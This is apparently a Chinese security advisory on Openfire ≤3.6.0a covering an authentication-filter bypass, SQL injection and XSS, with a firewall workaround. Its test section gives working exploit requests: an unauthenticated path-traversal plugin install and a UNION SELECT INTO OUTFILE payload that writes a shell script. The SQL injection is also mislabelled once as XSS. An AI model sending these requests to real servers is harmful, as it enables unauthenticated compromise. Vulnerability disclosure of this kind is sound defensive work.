安全研究
安全漏洞
Openfire多个输入验证漏洞
发布日期:2008-11-07
更新日期:2008-11-10
受影响系统:
Ignite Realtime Openfire <= 3.6.0a描述:
BUGTRAQ ID: 32189
Openfire(原名为Wildfire)是一个采用Java开发的跨平台开源实时协作(RTC)服务器。
Openfire服务器中的多个安全漏洞可能允许攻击者在操作系统上执行任意代码,具体取决于特定的运行时环境。
1) 绕过认证
在对openfire管理接口的认证中,Tomcat应用服务器中的过滤器org.jivesoftware.admin.AuthCheckFilter确保仅有通过认证的用户才可以访问管理接口,否则将会被重新定向到登录页面。Openfire中的一个错误可能导致无需管理用户凭据便访问内部功能。
部署描述符(web.xml)配置了一些AuthCheckFilter的exclude值:
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>login.jsp,index.jsp?logout=true,setup/index.jsp,
setup/setup-,.gif,.png,error-serverdown.jsp</param-value>
</init-param>
</filter>
如果请求URL包含有任意Exclude字符串的话,就可以绕过检查机制。
2) SQL注入
sipark-log-summary.jsp中的type参数存在跨站脚本漏洞:
String type = ParamUtils.getParameter(request, "type");
org.jivesoftware.openfire.sip.calllog.CallLogDAO的getCalls()函数处理这个用户输入(SQLCondition)并创建SQL语句:
String sql = "SELECT * FROM sipPhoneLog";
sql = SQLCondition != null && !SQLCondition.equals("") ?
sql + " WHERE " + SQLCondition : sql;
sql += " ORDER BY datetime DESC";
在411行CallLogDAO的createScrollablePreparedStatement()方式执行这个语句:
return con.prepareStatement(sql);
由于在传送给语句对象之前动态的连接了字符串SQL,这可能导致SQL注入漏洞。
3) 跨站脚本
login.jsp的url参数和username参数存在跨站脚本漏洞,攻击者可以操控这些参数指定认证后用户将被转发到的目的地。
<*来源:Andreas Kurtz
链接:http://marc.info/?l=bugtraq&m=122624253220610&w=2
http://secunia.com/advisories/32478/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.foo.bar:9090/setup/setup-/../../dwr/exec/downloader.installPlugin.dwr HTTP/1.1
Host: www.foo.bar:9090
callCount=1
c0-scriptName=downloader
c0-methodName=installPlugin
c0-id=7931_1210973487852
c0-param0=string:http%3A%2F%2Fwww.igniterealtime.org%2Fprojects%2Fopenfire%
2Fplugins%2Fsip.jar
c0-param1=string:661780277
xml=true
http://www.foo.bar:9090/setup/setup-/../../plugins/sip/sipark-log-summary.jsp?type=all'UNION%20SELECT%20'attack-code'%20INTO%20OUTFILE%20'/tmp/attack.sh'%20/*&startDate=Any&endDate=Any&submit=true&get=Search
建议:
临时解决方法:
* 在防火墙阻断tcp/9090和tcp/9091端口。
厂商补丁:
Ignite Realtime
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.igniterealtime.org/downloads/index.jsp#openfire
浏览次数:3705
严重程度:0(网友投票)
绿盟科技给您安全的保障
